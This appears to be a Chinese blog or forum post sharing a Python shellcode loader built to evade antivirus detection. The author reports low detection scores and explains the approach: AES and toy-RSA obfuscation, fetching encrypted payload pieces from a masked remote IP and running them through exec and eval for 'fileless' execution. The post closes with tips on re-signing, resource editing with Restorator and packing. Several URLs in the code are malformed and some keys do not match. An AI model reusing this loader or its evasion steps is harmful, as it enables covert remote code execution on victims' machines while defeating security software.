先看结果,第一次上传为0
再次上传为2,好像是我重新签了个名,感觉2这个结果可以了
思路加密关键代码,然后传到外网ip requests访问eval执行,重新签名然后改一下资源关键是无文件落地,也尝试过修改特征码,可惜改特征码没绕过卡巴斯基
可以上线
import ctypes,base64,requests
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
from random import randint
from datetime import datetime
"""判断是否是素数"""
def is_sushu(sushu):
for i in range(2,sushu):
if sushu % i == 0:
return False
return True
"""随机生成指定范围的大素数"""
def Create_Sushu():
while True:
sushu = randint(100,1000 )#下限越大,加密越安全,此处考虑计算时间,取值较小
if is_sushu(sushu):
return sushu
"""计算欧拉函数"""
def Oula(sushu1 , sushu2):
return (sushu1-1)*(sushu2-1)
"""判断是否互质"""
def Is_Huzhi(int_min,int_max):
for i in range(2,int_min+1):
if int_min % i == 0 and int_max % i == 0:
return False
return True
"""计算公钥,直接计算编程较简单,此处考虑了计算效率的优化"""
def Creat_E(oula):
top = oula
while True:
i = randint(2,top)
for e in range(i,top):
if Is_Huzhi(e,oula):
return e
top = i
"""计算私钥"""
def Compute_D(oula,e):
k = 1
while ( k*oula+1 )% e != 0:
k+=1
return int((k*oula+1)/e)
"""
将字符串转成ASCII
"""
def Transfer_To_Ascii(messages):
result = []
for message in messages:
result.append( ord(message) )
return result
"""
将列表转化成字符串
"""
def Transfer_To_String(string_list):
string = ''.join(string_list)
return string
# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):
if len(text.encode('utf-8')) % 16:
add = 16 - (len(text.encode('utf-8')) % 16)
else:
add = 0
text = text + (' ' * add)
return text.encode('utf-8')
# 加密函数
def encrypt(text):
key = 'zxxxxxx6'.encode('utf-8')
mode = AES.MODE_CBC
iv = b'xxxxxx67'
text = add_to_16(text)
cryptos = AES.new(key, mode, iv)
cipher_text = cryptos.encrypt(text)
# 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串
return b2a_hex(cipher_text)
# 解密后,去掉补足的空格用strip() 去掉
def decrypt(text):
key = 'zwfgsssss666'.encode('utf-8')
iv = b'zwfgtxxxxxl67'
mode = AES.MODE_CBC
cryptos = AES.new(key, mode, iv)
plain_text = cryptos.decrypt(a2b_hex(text))
aaaa=bytes.decode(plain_text).rstrip(' ')
return aaaa
def zz(ahs):
a = b'5597fde24bdde77ea5802eb6f08013e57bdb5344736f7ad1efc8c0602ef89f545caa11197add60040e0733bd5ec5dab310272794d326ed108e2bc0863095f4acfca3973f96bf45e3765e2490de643874716cc3d6a69189b528314b8ca42a7863'
a = decrypt(a)
a = base64.b64decode(a)
exec(a)
n = 54737
e = 19253
d = 16637
buf = requests.get('hhttp://xx.xx.xxx.xxx/2.txt').text
a = buf.split(',')
c_list = []
c_list = list(map(int, a))
decode_messages=[]
for c in c_list:
decode_message = c**d%n
decode_messages.append(chr(decode_message))
ptr = eval(Transfer_To_String(decode_messages))
# c_list = [14707, 28343, 48517, 13725, 54472, 29253, 34108, 29890, 28343, 36320, 28343, 35221, 31154, 1323, 17528, 21097, 17528, 51963, 29253, 42568, 14707, 31154, 35221, 34108, 9469, 9469, 29890, 49737, 1323, 8223, 22707, 36320, 22981, 45262, 49737, 49737, 29253, 1323, 14707, 31154, 35221, 34108, 9469]
buf = requests.get('http://xx.xx.xxx.xxx/3.txt').text
a = buf.split(',')
c_list = []
c_list = list(map(int, a))
decode_messages = []
decode_messages = []
for c in c_list:
decode_message = c ** d % n
decode_messages.append(chr(decode_message))
abc = eval(Transfer_To_String(decode_messages))
buf = requests.get('http://http://xx.xx.xxx.xxx/4.txt').text
a = buf.split(',')
c_list = []
c_list = list(map(int, a))
decode_messages = []
decode_messages = []
for c in c_list:
decode_message = c ** d % n
decode_messages.append(chr(decode_message))
abc = eval(Transfer_To_String(decode_messages))
buf = requests.get('http://http://xx.xx.xxx.xxx/5.txt').text
a = buf.split(',')
c_list = []
c_list = list(map(int, a))
decode_messages = []
decode_messages = []
for c in c_list:
decode_message = c ** d % n
decode_messages.append(chr(decode_message))
handle = eval(Transfer_To_String(decode_messages))
buf = requests.get('http://http://xx.xx.xxx.xxx/6.txt').text
a = buf.split(',')
c_list = []
c_list = list(map(int, a))
decode_messages = []
for c in c_list:
decode_message = c ** d % n
decode_messages.append(chr(decode_message))
eval(Transfer_To_String(decode_messages))
if __name__ == "__main__":#先base后AES再rsa
p = Create_Sushu()
q = p
while p == q:
q = Create_Sushu()
n = 40309
oula = Oula(p, q)
e = 1761
d = 27713
time_end = datetime.now()
#从这里开始不需要改,把3.txt复制到服务器就行,改一下ip
buf = requests.get('http://xx.xx.xxx.xxx/1.txt').text
a = buf.split(',')
c_list = []
c_list = list(map(int, a))
decode_messages = []
for c in c_list:
decode_message = c ** d % n
decode_messages.append(chr(decode_message))
buf = Transfer_To_String(decode_messages)
buf = encrypt(buf)
buf = decrypt(buf)
buf = base64.b64decode(buf)
zz(bytearray(buf))
我把自己ip码了,就是这样
然后用Restorator改一下资源再加一个签名就好了
工具链接,明天起来试一下加壳
Restorator
https://xiazai.zol.com.cn/detail/44/433207.shtml



